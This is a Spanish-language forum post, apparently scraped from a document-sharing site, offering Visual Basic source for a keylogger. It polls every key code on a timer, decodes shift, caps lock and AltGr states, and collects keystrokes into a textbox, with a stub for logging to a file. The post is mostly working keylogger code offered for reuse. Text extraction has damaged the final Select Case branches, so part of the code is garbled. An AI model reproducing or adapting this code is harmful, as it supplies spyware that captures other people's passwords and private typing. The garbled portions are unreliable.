Está en la página 1de 5

Hola Este es un keylooger que hice hace un ao o as. Funciona bien aunque es manifiestam ente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeo programa de prueba (para ver lo que el keylogger va detectando). Para ello le poneis los controles y el cdigo indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba de beran ir quedando todas las pulsaciones que vais haciendo. La rutina fundamental es la funcin ObtenerTecla y unas pequeas funciones para sabe r si es mayscula o no , etc. Existe otra tcnica posible para hacer un keylogger. La que se llama un hook de te clado (o un gancho de teclado). Tiene algunas ventajas y algn inconveniente. ---------------------------------------------------------------------------------Programa que prueba la rutina En una aplicacin visual basic aadir al formulario form1 el cuadro de texto text1 c on las siguientes propiedades: Cdigo: text1.multiline = true text1.heigh= 1335 text1.width = 12975

Poner un objeto timer con las siguiente propiedad Cdigo: timer1.interval=100 (probar con distintos resultados para sacar consecuencias) Poner un command con la siguiente propiedad Cdigo: command1.caption="Limpiar"

--------------------------------------------------------------------------------Rutinas del programa de prueba Cdigo: Private Sub Command1_Click() Text1 = "" ' vaciar textbox End Sub

Cdigo: Private Sub Text1_Change() If Len(Text1) > 500 Then ' Escribir txt.log End If End Sub

---------------------------------------------------------------------------------comienzo de keylogger ----------------------------------------------------------------------------------Funcin ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shif t del teclado (es posible diferenciar cada una si se quiere) Cdigo: Private Function ShiftPulsado() ' true si est pulsado shift ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT End Function ----------------------------------------------------------------------------------Funcin BloqMayus. Comprueba si se ha activado bloq mayus Cdigo: Private Function BloqMayus() 'True si est pulsado bloqmayus BloqMayus = IIf(GetKeyState(20) < 0, True, False) 'VK_CAPSLOCK End Function ----------------------------------------------------------------------------------Funcin NumLock. Comprueba si est pulsada la tecla Numlock Cdigo: Private Function NumLock() 'True si est pulsado NUMLOCK NumLock = IIf(GetKeyState(144) < 0, True, False) 'VK_NUMLOCK End Function ---------------------------------------------------------------------------------Funcin AltGr comprueba si est pulsada la tecla ALT GR. Cdigo: Private Function AltGr() 'true si est pulsado ALT GR AltGr = IIf(GetKeyState(165) < 0, True, False) 'VK_RMENU End Function ---------------------------------------------------------------------------------Funcin del timer que comprueba cada cierto intervalo de tiempo si se ha pulsado u na tecla. Para ello revisa cada una de las posibilidades y si encuentra una tecl a pulsada la guarda en la variable Tecla y la aade al text1. Cdigo: Private Sub Timer1_Timer() 'probar con distintos intervalos de timer Dim Tecla As String

For x% = 0 To 255 'para los 255 cdigos ascii If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla Tecla = ObtenerTecla(x%) 'obtener tecla pulsada Text1 = Text1 & Tecla 'aadir tecla a teclas pulsadas Text1.Refresh End If Next End Sub ----------------------------------------------------------------------------------Funcin ObtenerTecla. Se le pasa como parmetro el cdigo virtual de la tecla pulsada y devuelve el resultado. Es la rutina propiamente de un keylogger. Fijaos que en vez de el nombre de la tecla he pueso su cdigo virtual. La razn es q ue tericamente es igual, pero con los nombres no me funcionaba y cuando puse su cd igo funcion. Cdigo: Function ObtenerTecla(x As Integer) Dim Tecla As String Select Case x Case 1 'VK_LBUTTON 'botn izquierdo del ratn Case 2 'VK_RBUTTON 'botn derecho del ratn Case 4 'VK_MBUTTON 'botn medio del ratn Case 3 'VK_CANCEL 'break interrumpir Case 8 'VK_BACK Tecla = "[DEL]" Case 9 'VK_TAB Tecla = "[TAB]" Case 13 'VK_RETURN Tecla = "[ENTER]" 'opcionalmente se puede poner que se inserte lnea en vez de insertar el literal [ ENTER] 'sera as: Tecla = Chr(13) & Chr(10) Case 92 'VK_CLEAR '5 en keypadd sin numlook Case 19 'VK_PAUSE 'Pausa Tecla = "[PAUSA]" Case 32 'VK_SPACE Tecla = " " Case 27 'VK_ESC 'escape Tecla = "[ESC]" Case 33 'VK_PRIOR Tecla = "[RE PAG]" Case 34 'VK_NEXT Tecla = "[AV PAG]" Case 35 'VK_END Tecla = "[FIN]" Case 36 'VK_HOME Tecla = "[INICIO]" Case 37 'VK_LEFT Tecla = "[IZQ]" Case 38 'VK_RIGHT Tecla = "[DER]" Case 39 'VK_UP Tecla = "[ARRIBA]" Case 40 'VK_DOWN Tecla = "[ABAJO]"

Case 44 'imprpant Tecla = "[IMPR PANT]" Case 45, VK_INSERT Tecla = "[INS]" Case 46, VK_DELETE Tecla = "[SUPR]" Case 48 To 57 'VK_0 - VK_9 If Not ShiftPulsado Then 'si no se ha cambiado tecla de shift Tecla = Str$(x - 48) 'poner en tecla el n correspondiente Else Tecla = Mid$("!""""$%&/()=", x - 47, 1) 'extraer el caracter correspondiente End If If AltGr Then If x = 49 Then 'alt gr + 1 Tecla = " " ElseIf x = 50 Then 'alt gr + 2 Tecla = "@" ElseIf x = 51 Then 'alt gr + 3 Tecla = "#" ElseIf x = 54 Then 'alt gr +6 Tecla = "" End If End If Case 65 To 90 'letras VK_A - VK_Z If BloqMayus Then Tecla = IIf(ShiftPulsado, LCase$(Chr(x)), UCase(Chr(x))) Else Tecla = IIf(ShiftPulsado, UCase$(Chr(x)), LCase$(Chr(x))) End If Case 96 To 105 'numpad VK_NUMPAD0 - VK_NUMPAD9' If Not NumLock Then Tecla = LTrim$(Str$(x - 96)) 'obtener nmero correspondiente a teclado numpad Else Tecla = ObtenerTecla(x - 48) 'obtener valor correspondiente a numpad sin numlock End If Case 106 'VK_MULTIPLY Tecla = "*" Case 107 'VK_NUMPADADD Tecla = "+" Case 110 'VK_NUMPADDECIMAL Tecla = "." Case 111 'VK_NUMPADDIVIDE Tecla = "/" Case 109 'VK_SUBSTRACKT Tecla = "-" Case 112 To 123 'VK_F1 - VK_F12 Tecla = "[F" & x - 111 & "]" Case 145 'VK_SCROLL 'Bloq Despl Tecla = "[BLOQ DESPL]" Case 186 '^` Tecla = IIf(ShiftPulsado, "^", "`") Tecla = IIf(AltGr, "[", Tecla) Case 187 '+ * Tecla = IIf(ShiftPulsado, "*", "+") Tecla = IIf(AltGr, "]", Tecla) Case 188 '; , Tecla = IIf(ShiftPulsado, ";", ",") Case 189 '- _ ) Tecla = IIf(ShiftPulsado, "_", "-")

Case 190 ': . Tecla = IIf(ShiftPulsado, ":", Case 191 ' Tecla = IIf(ShiftPulsado, "", Tecla = IIf(AltGr, "}", Tecla) Case 192 '~ ' Tecla = IIf(ShiftPulsado, "~", Case 219 '? ' Tecla = IIf(ShiftPulsado, "?", Case 220 ' \ Tecla = IIf(ShiftPulsado, "", Tecla = IIf(AltGr, "\", Tecla) Case 221 ' Tecla = IIf(ShiftPulsado, "", Case 222 ' Tecla = IIf(ShiftPulsado, "", Tecla = IIf(AltGr, "{", Tecla) Case 226 ' < > Tecla = IIf(ShiftPulsado, ">", End Select ObtenerTecla = Tecla End Function

".") "") "'") "'") "") "") "") "<")

http://foro.elhacker.net/programacion_visual_basic/keylogger_en_vb-t83691.0.html #ixzz1Eeob2shp

También podría gustarte